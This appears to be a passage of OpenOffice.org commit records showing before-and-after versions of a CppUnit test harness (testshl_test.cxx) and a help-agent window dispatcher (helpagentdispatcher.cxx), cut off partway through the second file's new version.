m_pStr = new rtl::OString(\"test1\");\n \/\/ throw std::exception(\"initialization failed.\");\n }\n\n void tearDown()\n {\n delete m_pStr;\n }\n\n void testEquality()\n {\n CPPUNIT_ASSERT( *m_pStr == \"test1\" );\n CPPUNIT_ASSERT( (*m_pStr).equalsIgnoreAsciiCase(\"Test1\") );\n CPPUNIT_ASSERT( (*m_pStr).equalsIgnoreAsciiCase(\"Test2\") );\n CPPUNIT_ASSERT( *m_pStr == \"test1\" );\n CPPUNIT_ASSERT( *m_pStr == \"must also fail\" );\n }\n void testEquality2()\n {\n rtl::OString aStr(\"test2\");\n CPPUNIT_ASSERT( aStr == \"test2\" );\n CPPUNIT_ASSERT_MESSAGE(\"ein vergleichstest\", aStr == \"test2\");\n CPPUNIT_ASSERT( aStr == \"must also fail\" );\n }\n void testThrow()\n {\n throw std::exception(\"an own exception!\");\n CPPUNIT_ASSERT( *m_pStr == \"test2\" );\n }\n };\n\n CppUnit::TestSuite *suite1()\n {\n CppUnit::TestSuite *suite = new CppUnit::TestSuite( \"AStringTest\" );\n\n \/\/ CppUnit::TestSuite suite;\n \/\/ CppUnit::TextTestResult result;\n\n suite->addTest( new CppUnit::TestCaller<AStringTest>( \"throw test\", &AStringTest::testThrow ));\n\/\/ suite->addTest( new CppUnit::TestCaller<AStringTest>( \"test op eq\", &AStringTest::testEquality ));\n\/\/ suite->addTest( new CppUnit::TestCaller<AStringTest>( \"test op eq\", &AStringTest::testEquality2 ));\n\n return suite;\n }\n\n \/\/ -----------------------------------------------------------------------------\n\n class ASimpleTest : public CppUnit::TestCase\n {\n public:\n void testEqual()\n {\n CPPUNIT_ASSERT( 1 == 1 );\n }\n };\n\n CppUnit::TestSuite *suite2()\n {\n CppUnit::TestSuite *suite = new CppUnit::TestSuite( \"A simple test\" );\n\n \/\/ CppUnit::TestSuite suite;\n \/\/ CppUnit::TextTestResult result;\n\n suite->addTest( new CppUnit::TestCaller<ASimpleTest>( \"1 == 1\", &ASimpleTest::testEqual ));\n\n return suite;\n }\n\n \/\/ -----------------------------------------------------------------------------\n\n CppUnit::TestSuite *suite()\n {\n CppUnit::TestSuite *suite = new CppUnit::TestSuite( \"A simple test\" );\n\n \/\/ CppUnit::TestSuite suite;\n \/\/ CppUnit::TextTestResult result;\n\n suite->addTest( suite1() );\n\/\/ suite->addTest( suite2() );\n\n return suite;\n }\n}\n\nvoid cppunitbased_test()\n{\n {\n \/\/ ofstream out(\"c:\\\\temp\\\\output.txt\", ios::out);\n CppUnit::TextTestResult aResult;\n\n CppUnit::TestSuite* pSuite = CppunitTest::suite();\n\n int nTests = pSuite->countTestCases();\n pSuite->run(&aResult);\n\n \/\/ aResult.print(out);\n cout << aResult;\n\n delete pSuite;\n }\n\n exit(1);\n}\n\n\/\/ ----------------------------------- Main -----------------------------------\n#if (defined UNX) || (defined OS2)\nint main( int argc, char* argv[] )\n#else\nint _cdecl main( int argc, char* argv[] )\n#endif\n{\n cppunitbased_test();\n\n tslTestManager hMgr = 0;\n\n \/* show usage screen if too less parameters *\/\n if ( argc < 3 )\n usage();\n\n#ifdef UNDER_WINDOWS_DEBUGGING\n DebugBreak();\n#endif\n\n sal_uInt32 nCmdlinebitflags = createFlags( argc, argv );\n\n hMgr = tsl_TestManager_create( argv, argc, nCmdlinebitflags );\n tsl_TestManager_run( hMgr );\n tsl_TestManager_destroy( hMgr );\n return 0;\n}\n<commit_msg>INTEGRATION: CWS qadev16 (1.1.54); FILE MERGED 2004\/02\/10 15:06:52 lla 1.1.54.1: #114786# changes to internal tests.<commit_after>\/*************************************************************************\n *\n * $RCSfile: testshl_test.cxx,v $\n *\n * $Revision: 1.2 $\n *\n * last change: $Author: obo $ $Date: 2004-03-19 14:43:41 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#include <stdio.h>\n\n#ifdef WNT\n\/\/ #define UNDER_WINDOWS_DEBUGGING\n\/\/ Nice feature, to debug under windows, install msdev locally and use DebugBreak() to stop a new process at a point you want.\n#ifdef UNDER_WINDOWS_DEBUGGING\n#include <tools\/presys.h>\n#include <windows.h>\n#include <tools\/postsys.h>\n\n#define VCL_NEED_BASETSD\n\n#endif \/* UNDER_WINDOWS_DEBUGGING *\/\n#endif \/* WNT *\/\n\n\n#include <vector>\n\n\n#ifndef _SAL_TRES_H_\n#include <rtl\/tres.h>\n#endif\n\n#ifndef _TESTSHL_TSTMGR_H_\n#include \"tstmgr.h\"\n#endif\n\n#ifndef _RTL_STRING_HXX_\n #include <rtl\/string.hxx>\n#endif\n\n#include <osl\/time.h>\n\nusing namespace std;\n\n\n\/**\n * create bitmap of comandline parameters\n *\/\nsal_uInt32 createFlags( vector< sal_Char* > const& cmdln )\n{\n sal_uInt32 retflags = rtl_tres_Flag_OK;\n\n vector< sal_Char* >::const_iterator iter = cmdln.begin();\n while( iter != cmdln.end() )\n {\n fprintf( stderr, \"%s\\n\", *iter );\n if ( *iter[0] == '-' )\n {\n rtl::OString item( *iter );\n if ( item == \"-boom\" )\n retflags |= rtl_tres_Flag_BOOM;\n\n if ( item == \"-verbose\" )\n retflags |= rtl_tres_Flag_VERBOSE;\n\n if ( item == \"-skip\" )\n retflags |= rtl_tres_Flag_SKIP;\n\n if ( item == \"-log\" )\n retflags |= rtl_tres_Flag_LOG;\n\n if ( item == \"-his\" )\n retflags |= rtl_tres_Flag_HIS;\n\n if ( item == \"-time\" )\n retflags |= rtl_tres_Flag_TIME;\n\n if ( item == \"-msg\" )\n retflags |= rtl_tres_Flag_MSG;\n\n if ( item == \"-quiet\" )\n retflags |= rtl_tres_Flag_QUIET;\n }\n iter++;\n }\n\n return retflags;\n}\n\nsal_uInt32 createFlags(int argc, char* argv[])\n{\n vector< sal_Char* > cmdln;\n sal_Int32 i;\n\n \/* collect comandline *\/\n for ( i = 1; i < argc; i++ )\n cmdln.push_back( argv[i] );\n\n return createFlags(cmdln);\n}\n\n\/\/ -----------------------------------------------------------------------------\n\n\/**\n * display usage screen\n *\/\n\nvoid usage()\n{\n fprintf( stdout,\n \"USAGE: testshl shlname scename [-boom][-verbose][-log][-his][-msg]\\n\" );\n exit(0);\n}\n\n\n#include <fstream>\n#include <cppunit\/TestFixture.h>\n#include <cppunit\/TestCaller.h>\n#include <cppunit\/TestSuite.h>\n#include <cppunit\/TestResult.h>\n#include <cppunit\/TestResultCollector.h>\n#include <cppunit\/TestAssert.h>\n#include <cppunit\/TextTestResult.h>\n\nnamespace CppunitTest\n{\n class AStringTest : public CppUnit::TestCase\n {\n rtl::OString *m_pStr;\n public:\n AStringTest()\n :m_pStr(NULL) {}\n\n void setUp()\n {\n m_pStr = new rtl::OString(\"test1\");\n \/\/ throw std::exception(\"initialization failed.\");\n }\n\n void tearDown()\n {\n delete m_pStr;\n }\n\n void testEquality()\n {\n CPPUNIT_ASSERT( *m_pStr == \"test1\" );\n CPPUNIT_ASSERT( (*m_pStr).equalsIgnoreAsciiCase(\"Test1\") );\n CPPUNIT_ASSERT( (*m_pStr).equalsIgnoreAsciiCase(\"Test2\") );\n CPPUNIT_ASSERT( *m_pStr == \"test1\" );\n CPPUNIT_ASSERT( *m_pStr == \"must also fail\" );\n }\n void testEquality2()\n {\n rtl::OString aStr(\"test2\");\n CPPUNIT_ASSERT( aStr == \"test2\" );\n CPPUNIT_ASSERT_MESSAGE(\"ein vergleichstest\", aStr == \"test2\");\n CPPUNIT_ASSERT( aStr == \"must also fail\" );\n }\n void testThrow()\n {\n throw std::exception(\"an own exception!\");\n CPPUNIT_ASSERT( *m_pStr == \"test2\" );\n }\n };\n\n CppUnit::TestSuite *suite1()\n {\n CppUnit::TestSuite *suite = new CppUnit::TestSuite( \"AStringTest\" );\n\n \/\/ CppUnit::TestSuite suite;\n \/\/ CppUnit::TextTestResult result;\n\n suite->addTest( new CppUnit::TestCaller<AStringTest>( \"throw test\", &AStringTest::testThrow ));\n\/\/ suite->addTest( new CppUnit::TestCaller<AStringTest>( \"test op eq\", &AStringTest::testEquality ));\n\/\/ suite->addTest( new CppUnit::TestCaller<AStringTest>( \"test op eq\", &AStringTest::testEquality2 ));\n\n return suite;\n }\n\n \/\/ -----------------------------------------------------------------------------\n\n class ASimpleTest : public CppUnit::TestCase\n {\n public:\n void testEqual()\n {\n CPPUNIT_ASSERT( 1 == 1 );\n }\n };\n\n CppUnit::TestSuite *suite2()\n {\n CppUnit::TestSuite *suite = new CppUnit::TestSuite( \"A simple test\" );\n\n \/\/ CppUnit::TestSuite suite;\n \/\/ CppUnit::TextTestResult result;\n\n suite->addTest( new CppUnit::TestCaller<ASimpleTest>( \"1 == 1\", &ASimpleTest::testEqual ));\n\n return suite;\n }\n\n \/\/ -----------------------------------------------------------------------------\n\n CppUnit::TestSuite *suite()\n {\n CppUnit::TestSuite *suite = new CppUnit::TestSuite( \"A simple test\" );\n\n \/\/ CppUnit::TestSuite suite;\n \/\/ CppUnit::TextTestResult result;\n\n suite->addTest( suite1() );\n\/\/ suite->addTest( suite2() );\n\n return suite;\n }\n}\n\nvoid cppunitbased_test()\n{\n {\n \/\/ ofstream out(\"c:\\\\temp\\\\output.txt\", ios::out);\n CppUnit::TextTestResult aResult;\n\n CppUnit::TestSuite* pSuite = CppunitTest::suite();\n\n int nTests = pSuite->countTestCases();\n pSuite->run(&aResult);\n\n \/\/ aResult.print(out);\n cout << aResult;\n\n delete pSuite;\n }\n\n exit(1);\n}\n\n\/\/ ----------------------------------- Main -----------------------------------\n#if (defined UNX) || (defined OS2)\nint main( int argc, char* argv[] )\n#else\nint _cdecl main( int argc, char* argv[] )\n#endif\n{\n cppunitbased_test();\n\n tslTestManager hMgr = 0;\n\n \/* show usage screen if too less parameters *\/\n if ( argc < 3 )\n usage();\n\n#ifdef UNDER_WINDOWS_DEBUGGING\n DebugBreak();\n#endif\n\n sal_uInt32 nCmdlinebitflags = createFlags( argc, argv );\n\n hMgr = tsl_TestManager_create( argv, argc, nCmdlinebitflags );\n tsl_TestManager_run( hMgr );\n tsl_TestManager_destroy( hMgr );\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: helpagentdispatcher.cxx,v $\n *\n * $Revision: 1.7 $\n *\n * last change: $Author: rt $ $Date: 2005-09-09 01:19:38 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef __FRAMEWORK_DISPATCH_HELPAGENTDISPATCHER_HXX_\n#include <dispatch\/helpagentdispatcher.hxx>\n#endif\n\n#ifndef __FRAMEWORK_THREADHELP_RESETABLEGUARD_HXX_\n#include <threadhelp\/resetableguard.hxx>\n#endif\n\n#ifndef _OSL_DIAGNOSE_H_\n#include <osl\/diagnose.h>\n#endif\n\n#ifndef _TOOLKIT_HELPER_VCLUNOHELPER_HXX_\n#include <toolkit\/helper\/vclunohelper.hxx>\n#endif\n\n#ifndef _SV_SVAPP_HXX\n#include <vcl\/svapp.hxx>\n#endif\n\n#ifndef _SV_HELP_HXX\n#include <vcl\/help.hxx>\n#endif\n\n#ifndef _COMPHELPER_GUARDING_HXX_\n#include <comphelper\/guarding.hxx>\n#endif\n\n#ifndef INCLUDED_SVTOOLS_HELPOPT_HXX\n#include <svtools\/helpopt.hxx>\n#endif\n\n#ifndef _SV_SVAPP_HXX\n#include <vcl\/svapp.hxx>\n#endif\n\/\/........................................................................\nnamespace framework\n{\n\/\/........................................................................\n\n using namespace ::com::sun::star::uno;\n using namespace ::com::sun::star::frame;\n using namespace ::com::sun::star::util;\n using namespace ::com::sun::star::beans;\n using namespace ::com::sun::star::awt;\n using namespace ::com::sun::star::lang;\n\n \/\/====================================================================\n \/\/= HelpAgentDispatcher\n \/\/====================================================================\n \/\/--------------------------------------------------------------------\n HelpAgentDispatcher::HelpAgentDispatcher( const Reference< XFrame >& _rxParentFrame )\n :ThreadHelpBase(&Application::GetSolarMutex())\n ,m_pContainerWindow(NULL)\n ,m_pAgentWindow(NULL)\n ,m_xParentFrame(_rxParentFrame)\n {\n OSL_ENSURE(m_xParentFrame.is(), \"HelpAgentDispatcher::HelpAgentDispatcher: invalid parent frame!\");\n }\n\n \/\/--------------------------------------------------------------------\n HelpAgentDispatcher::~HelpAgentDispatcher()\n {\n osl_incrementInterlockedCount( &m_refCount );\n \/\/ we may create new references to ourself below, so ensure the dtor is not called twice ....\n closeAgentWindow();\n if(m_xAutoCloseTimer.isValid())\n m_xAutoCloseTimer->setListener(NULL);\n }\n\n \/\/--------------------------------------------------------------------\n sal_Bool HelpAgentDispatcher::ensureContainerWindow()\n {\n if (m_pContainerWindow)\n return sal_True;\n\n if (!m_xParentFrame.is())\n {\n OSL_ENSURE(sal_False, \"HelpAgentDispatcher::ensureContainerWindow: have no explicit container window and no frame to obtain an implicit one!\");\n \/\/ error condition, already asserted in the ctor\n return sal_False;\n }\n\n Reference< XWindow > xContainer = m_xParentFrame->getContainerWindow();\n implConstruct(xContainer);\n\n return (NULL != m_pContainerWindow);\n }\n\n \/\/--------------------------------------------------------------------\n void HelpAgentDispatcher::implConstruct( const Reference< XWindow >& _rxContainer )\n {\n OSL_ENSURE(!m_pContainerWindow, \"HelpAgentDispatcher::implConstruct: not to be called twice!\");\n OSL_ENSURE(_rxContainer.is(), \"HelpAgentDispatcher::implConstruct: invalid container window given!\");\n\n m_pContainerWindow = VCLUnoHelper::GetWindow(_rxContainer);\n OSL_ENSURE(!_rxContainer.is() || (NULL != m_pContainerWindow), \"HelpAgentDispatcher::implConstruct: could not get the implementation of the container!\");\n }\n\n \/\/--------------------------------------------------------------------\n void SAL_CALL HelpAgentDispatcher::dispatch( const URL& _rURL, const Sequence< PropertyValue >& _rArgs ) throw (RuntimeException)\n {\n ResetableGuard aGuard(m_aLock);\n switchURL(_rURL);\n }\n\n \/\/--------------------------------------------------------------------\n void SAL_CALL HelpAgentDispatcher::addStatusListener( const Reference< XStatusListener >& _rxListener, const URL& _rURL ) throw (RuntimeException)\n {\n \/\/ this is pretty simple: we accept _all_ URLs, and we accept them _always_. So simply notify the listener\n \/\/ of the initial \"available\" state and then do nothing.\n if (_rxListener.is())\n {\n FeatureStateEvent aEvent;\n aEvent.FeatureURL = _rURL;\n aEvent.IsEnabled = sal_True;\n aEvent.Requery = sal_False;\n _rxListener->statusChanged(aEvent);\n }\n }\n\n \/\/--------------------------------------------------------------------\n void SAL_CALL HelpAgentDispatcher::removeStatusListener( const Reference< XStatusListener >& _rxListener, const URL& _rURL ) throw (RuntimeException)\n {\n \/\/ nothing to do. see addStatusListener\n }\n\n \/\/--------------------------------------------------------------------\n void SAL_CALL HelpAgentDispatcher::windowResized( const WindowEvent& _rSource ) throw (RuntimeException)\n {\n positionAgentWindow();\n }\n\n \/\/--------------------------------------------------------------------\n void SAL_CALL HelpAgentDispatcher::windowMoved( const WindowEvent& _rSource ) throw (RuntimeException)\n {\n \/\/ not interested in\n }\n\n \/\/--------------------------------------------------------------------\n void SAL_CALL HelpAgentDispatcher::windowShown( const EventObject& _rSource ) throw (RuntimeException)\n {\n \/\/ not interested in\n }\n\n \/\/--------------------------------------------------------------------\n void SAL_CALL HelpAgentDispatcher::windowHidden( const EventObject& _rSource ) throw (RuntimeException)\n {\n \/\/ not interested in\n }\n\n \/\/--------------------------------------------------------------------\n void SAL_CALL HelpAgentDispatcher::disposing( const EventObject& _rSource ) throw (RuntimeException)\n {\n ::com::sun::star::uno::Reference< ::com::sun::star::uno::XInterface > xSelfHold( static_cast< ::com::sun::star::frame::XDispatch* >(this), ::com::sun::star::uno::UNO_QUERY );\n\n \/\/ not interested in case the container window is closed (this should be handled by our owner)\n\n \/\/ interested in case our agent window is closed (we're the only instance allowed to close it)\n if (m_pAgentWindow)\n {\n Reference< XWindow > xSource(_rSource.Source, UNO_QUERY);\n Reference< XWindow > xAgentWindow = VCLUnoHelper::GetInterface(m_pAgentWindow);\n if (xSource.get() == xAgentWindow.get())\n { \/\/ somebody closed my agent window, but it was not me\n agentClosedExternally();\n }\n }\n }\n\n \/\/--------------------------------------------------------------------\n void HelpAgentDispatcher::agentClosedExternally()\n {\n ResetableGuard aGuard(m_aLock);\n stopAutoCloseTimer();\n m_pAgentWindow = NULL;\n }\n\n \/\/--------------------------------------------------------------------\n sal_Bool HelpAgentDispatcher::approveURLRequest(const URL& _rURL)\n {\n SvtHelpOptions aHelpOptions;\n sal_Int32 nAllowedToIgnore = aHelpOptions.getAgentIgnoreURLCounter(_rURL.Complete);\n return nAllowedToIgnore > 0;\n }\n\n \/\/--------------------------------------------------------------------\n void HelpAgentDispatcher::switchURL(const URL& _rURL)\n {\n if (!approveURLRequest(_rURL))\n \/\/ silently drop the request\n return;\n\n \/\/ show our agent window\n ensureAgentWindow();\n\n \/\/ stop the expiration timer for the old URL\n stopAutoCloseTimer();\n\n \/\/ save the URL\n m_sCurrentURL = _rURL.Complete;\n\n \/\/ start the expiration timer for the new URL\n startAutoCloseTimer();\n }\n\n \/\/--------------------------------------------------------------------\n void HelpAgentDispatcher::stopAutoCloseTimer()\n {\n if (!m_xAutoCloseTimer.isValid())\n return;\n\n m_xAutoCloseTimer->stop();\n }\n\n \/\/--------------------------------------------------------------------\n void HelpAgentDispatcher::startAutoCloseTimer()\n {\n ::vos::TTimeValue aAutoCloseTimeout( SvtHelpOptions().GetHelpAgentTimeoutPeriod(), 0 );\n if (!m_xAutoCloseTimer.isValid())\n {\n\n m_xAutoCloseTimer = new OTimerHelper(aAutoCloseTimeout);\n m_xAutoCloseTimer->setListener(this);\n }\n\n m_xAutoCloseTimer->setRemainingTime(aAutoCloseTimeout);\n m_xAutoCloseTimer->start();\n }\n\n \/\/--------------------------------------------------------------------\n void HelpAgentDispatcher::helpRequested()\n {\n ResetableGuard aGuard(m_aLock);\n\n \/\/ FIRST stop the timer\n stopAutoCloseTimer();\n\n \/\/ reset the ignore counter for this URL\n SvtHelpOptions().resetAgentIgnoreURLCounter(m_sCurrentURL);\n\n Help* pApplicationHelp = Application::GetHelp();\n OSL_ENSURE(pApplicationHelp, \"HelpAgentDispatcher::helpRequested: no help system available!\");\n if (pApplicationHelp)\n pApplicationHelp->Start( m_sCurrentURL, NULL );\n\n aGuard.unlock();\n closeAgentWindow();\n }\n\n \/\/--------------------------------------------------------------------\n void HelpAgentDispatcher::closeAgent()\n {\n \/\/ the hint has been ignored by the user (click the closer)\n markURLIgnored(m_sCurrentURL);\n \/\/ close the window\n closeAgentWindow();\n }\n\n \/\/--------------------------------------------------------------------\n void HelpAgentDispatcher::timerExpired()\n {\n \/\/ the hint has been ignored by the user\n markURLIgnored(m_sCurrentURL);\n \/\/ close the window\n closeAgentWindow();\n }\n\n \/\/--------------------------------------------------------------------\n void HelpAgentDispatcher::markURLIgnored( const ::rtl::OUString& _rURL )\n {\n SvtHelpOptions().decAgentIgnoreURLCounter(_rURL);\n }\n\n \/\/--------------------------------------------------------------------\n void HelpAgentDispatcher::closeAgentWindow()\n {\n ::com::sun::star::uno::Reference< ::com::sun::star::uno::XInterface > xSelfHold( static_cast< ::com::sun::star::frame::XDispatch* >(this), ::com::sun::star::uno::UNO_QUERY );\n\n \/\/ now acquire the SolarMutex ...\n ::vos::OGuard aSolarGuard(Application::GetSolarMutex());\n \/\/ ... and our own mutex\n ResetableGuard aGuard(m_aLock);\n\n stopAutoCloseTimer();\n\n if (!m_pAgentWindow)\n return;\n\n if (m_pContainerWindow)\n {\n Reference< XWindow > xContainer = VCLUnoHelper::GetInterface(m_pContainerWindow);\n OSL_ENSURE(xContainer.is(), \"HelpAgentDispatcher::closeAgentWindow: no UNO interface for the container window!\");\n if (xContainer.is())\n xContainer->removeWindowListener(this);\n }\n\n if (m_pAgentWindow)\n {\n Reference< XWindow > xAgentWindow = VCLUnoHelper::GetInterface(m_pAgentWindow);\n OSL_ENSURE(xAgentWindow.is(), \"HelpAgentDispatcher::closeAgentWindow: no UNO interface for the agent window!\");\n if (xAgentWindow.is())\n xAgentWindow->removeWindowListener(this);\n }\n\n delete m_pAgentWindow;\n m_pAgentWindow = NULL;\n }\n\n \/\/--------------------------------------------------------------------\n void HelpAgentDispatcher::positionAgentWindow()\n {\n OSL_ENSURE(m_pContainerWindow, \"HelpAgentDispatcher::positionAgentWindow: please use ensureContainerWindow!\");\n OSL_ENSURE(m_pAgentWindow, \"HelpAgentDispatcher::positionAgentWindow: to be called with an existing agent window only!\");\n OSL_ENSURE(m_pAgentWindow->GetParent() == m_pContainerWindow, \"HelpAgentDispatcher::positionAgentWindow: invalid window hierarchy!\");\n\n const Size aContainerSize = m_pContainerWindow->GetSizePixel();\n const Size aAgentSize = m_pAgentWindow->getPreferredSizePixel();\n\n const Point aAgentPos ( aContainerSize.Width() - aAgentSize.Width()\n , aContainerSize.Height() - aAgentSize.Height() );\n\n \/\/ TODO: use a surrogate if the container window is too small to contain the full-sized agent window\n\n m_pAgentWindow->SetPosSizePixel(aAgentPos, aAgentSize);\n }\n\n \/\/--------------------------------------------------------------------\n sal_Bool HelpAgentDispatcher::ensureAgentWindow()\n {\n if (m_pAgentWindow)\n return sal_True;\n\n ::vos::OGuard aSolarGuard(Application::GetSolarMutex());\n if (!ensureContainerWindow())\n return sal_False;\n\n \/\/ create it\n m_pAgentWindow = new ::svt::HelpAgentWindow(m_pContainerWindow);\n m_pAgentWindow->setCallback(this);\n\n \/\/ add as listener at the agent window in case it is closed by the user (and not by us ourself)\n Reference< XWindow > xAgentWindow = VCLUnoHelper::GetInterface(m_pAgentWindow);\n OSL_ENSURE(xAgentWindow.is(), \"HelpAgentDispatcher::ensureAgentWindow: no UNO interface for the agent window!\");\n if (xAgentWindow.is())\n xAgentWindow->addWindowListener(this);\n\n \/\/ add as window listener to the container window so we can maintain the property position of the agent window\n Reference< XWindow > xContainer = VCLUnoHelper::GetInterface(m_pContainerWindow);\n OSL_ENSURE(xContainer.is(), \"HelpAgentDispatcher::ensureAgentWindow: no container window interface!\");\n if (xContainer.is())\n xContainer->addWindowListener(this);\n\n \/\/ position it\n positionAgentWindow();\n\n \/\/ show it\n if (m_pContainerWindow->IsVisible())\n m_pAgentWindow->Show();\n\n return sal_True;\n }\n\n\/\/........................................................................\n} \/\/ namespace framework\n\/\/........................................................................\n\n<commit_msg>INTEGRATION: CWS stacks01 (1.7.44); FILE MERGED 2005\/11\/03 08:08:36 as 1.7.44.1: #114142# HelpAgentDispatcher use ref counted objects instead pointer; it uses vcl timer instead of osl-threaded timer; remove status listener support (not needed)<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: helpagentdispatcher.cxx,v $\n *\n * $Revision: 1.8 $\n *\n * last change: $Author: rt $ $Date: 2005-11-10 16:11:57 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef __FRAMEWORK_DISPATCH_HELPAGENTDISPATCHER_HXX_\n#include <dispatch\/helpagentdispatcher.hxx>\n#endif\n\n#ifndef __FRAMEWORK_THREADHELP_READGUARD_HXX_\n#include <threadhelp\/readguard.hxx>\n#endif\n\n#ifndef __FRAMEWORK_THREADHELP_WRITEGUARD_HXX_\n#include <threadhelp\/writeguard.hxx>\n#endif\n\n#ifndef _COM_SUN_STAR_AWT_XWINDOW2_HPP_\n#include <com\/sun\/star\/awt\/XWindow2.hpp>\n#endif\n\n#ifndef _COM_SUN_STAR_AWT_POSSIZE_HPP_\n#include <com\/sun\/star\/awt\/PosSize.hpp>\n#endif\n\n#ifndef _COM_SUN_STAR_AWT_SIZE_HPP_\n#include <com\/sun\/star\/awt\/Size.hpp>\n#endif\n\n#ifndef _COM_SUN_STAR_AWT_RECTANGLE_HPP_\n#include <com\/sun\/star\/awt\/Rectangle.hpp>\n#endif\n\n#ifndef _TOOLKIT_HELPER_VCLUNOHELPER_HXX_\n#include <toolkit\/helper\/vclunohelper.hxx>\n#endif\n\n#ifndef INCLUDED_SVTOOLS_HELPOPT_HXX\n#include <svtools\/helpopt.hxx>\n#endif\n\n#ifndef _SV_SVAPP_HXX\n#include <vcl\/svapp.hxx>\n#endif\n\n#ifndef _SV_HELP_HXX\n#include <vcl\/help.hxx>\n#endif\n\nnamespace css = ::com::sun::star;\n\n\/\/........................................................................\nnamespace framework\n{\n\n\/\/-----------------------------------------------\nDEFINE_XINTERFACE_4(HelpAgentDispatcher ,\n OWeakObject ,\n DIRECT_INTERFACE (css::lang::XTypeProvider ),\n DIRECT_INTERFACE (css::frame::XDispatch ),\n DIRECT_INTERFACE (css::awt::XWindowListener),\n DIRECT_INTERFACE (css::lang::XEventListener))\n\n\/\/-----------------------------------------------\nDEFINE_XTYPEPROVIDER_2(HelpAgentDispatcher ,\n css::lang::XTypeProvider,\n css::frame::XDispatch )\n\n\/\/--------------------------------------------------------------------\nHelpAgentDispatcher::HelpAgentDispatcher( const css::uno::Reference< css::frame::XFrame >& xParentFrame)\n : ThreadHelpBase (&Application::GetSolarMutex())\n , m_sCurrentURL ( )\n , m_xContainerWindow( )\n , m_xAgentWindow ( )\n , m_aTimer ( )\n , m_xSelfHold ( )\n{\n \/\/ It's required that this class has to be contructed with a valid frame.\n \/\/ And \"valid\" means: the frame must already bound to a valid container window.\n m_xContainerWindow = xParentFrame->getContainerWindow();\n}\n\n\/\/--------------------------------------------------------------------\nHelpAgentDispatcher::~HelpAgentDispatcher()\n{\n implts_stopTimer();\n implts_ignoreCurrentURL();\n\n \/\/ Needed ... because it was create as \"new VCLWindow()\" ! Such windows must be disposed explicitly.\n css::uno::Reference< css::lang::XComponent > xAgentWindow(m_xAgentWindow, css::uno::UNO_QUERY);\n if (xAgentWindow.is())\n xAgentWindow->dispose();\n}\n\n\/\/--------------------------------------------------------------------\nvoid SAL_CALL HelpAgentDispatcher::dispatch(const css::util::URL& aURL ,\n const css::uno::Sequence< css::beans::PropertyValue >& lArgs)\n throw(css::uno::RuntimeException)\n{\n \/\/ silently drop the request if the new URL was marked to be ignored next time.\n sal_Int32 nAllowedToIgnore = SvtHelpOptions().getAgentIgnoreURLCounter(aURL.Complete);\n if (nAllowedToIgnore < 1)\n return;\n\n \/\/ stop the expiration timer for the old URL\n \/\/ The timer will add the old URL to the list of ignorable URLs.\n \/\/ So m_sCurrentURL must be set AFTER the timer was stopped !!!\n implts_stopTimer();\n\n \/\/ SAFE ->\n WriteGuard aWriteLock(m_aLock);\n m_sCurrentURL = aURL.Complete;\n aWriteLock.unlock();\n \/\/ <- SAFE\n\n \/\/ start the expiration timer for the new URL\n implts_startTimer();\n\n \/\/ make sure 